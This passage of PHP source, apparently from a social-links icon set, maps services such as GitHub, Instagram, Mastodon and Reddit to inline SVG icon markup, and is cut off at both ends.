height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>'), 'google' => array('name' => 'Google', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>'), 'github' => array('name' => 'GitHub', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>'), 'gravatar' => array('name' => 'Gravatar', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" /></svg>'), 'instagram' => array('name' => 'Instagram', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>'), 'lastfm' => array('name' => 'Last.fm', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>'), 'linkedin' => array('name' => 'LinkedIn', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>'), 'mail' => array('name' => 'Mail', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19,5H5c-1.1,0-2,.9-2,2v10c0,1.1.9,2,2,2h14c1.1,0,2-.9,2-2V7c0-1.1-.9-2-2-2zm.5,12c0,.3-.2.5-.5.5H5c-.3,0-.5-.2-.5-.5V9.8l7.5,5.6,7.5-5.6V17zm0-9.1L12,13.6,4.5,7.9V7c0-.3.2-.5.5-.5h14c.3,0,.5.2.5.5v.9z"></path></svg>'), 'mastodon' => array('name' => 'Mastodon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>'), 'meetup' => array('name' => 'Meetup', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>'), 'medium' => array('name' => 'Medium', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20.962,7.257l-5.457,8.867l-3.923-6.375l3.126-5.08c0.112-0.182,0.319-0.286,0.527-0.286c0.05,0,0.1,0.008,0.149,0.02 c0.039,0.01,0.078,0.023,0.114,0.041l5.43,2.715l0.006,0.003c0.004,0.002,0.007,0.006,0.011,0.008 C20.971,7.191,20.98,7.227,20.962,7.257z M9.86,8.592v5.783l5.14,2.57L9.86,8.592z M15.772,17.331l4.231,2.115 C20.554,19.721,21,19.529,21,19.016V8.835L15.772,17.331z M8.968,7.178L3.665,4.527C3.569,4.479,3.478,4.456,3.395,4.456 C3.163,4.456,3,4.636,3,4.938v11.45c0,0.306,0.224,0.669,0.498,0.806l4.671,2.335c0.12,0.06,0.234,0.088,0.337,0.088 c0.29,0,0.494-0.225,0.494-0.602V7.231C9,7.208,8.988,7.188,8.968,7.178z"></path></svg>'), 'patreon' => array('name' => 'Patreon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" /></svg>'), 'pinterest' => array('name' => 'Pinterest', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>'), 'pocket' => array('name' => 'Pocket', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>'), 'reddit' => array('name' => 'Reddit', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z"></path></svg>'), 'share' => array('name' => 'Share Icon', 'icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>'), 'skype' => array('name' => 'Skype', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>'), 'snapchat' => array('name' => 'Snapchat', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0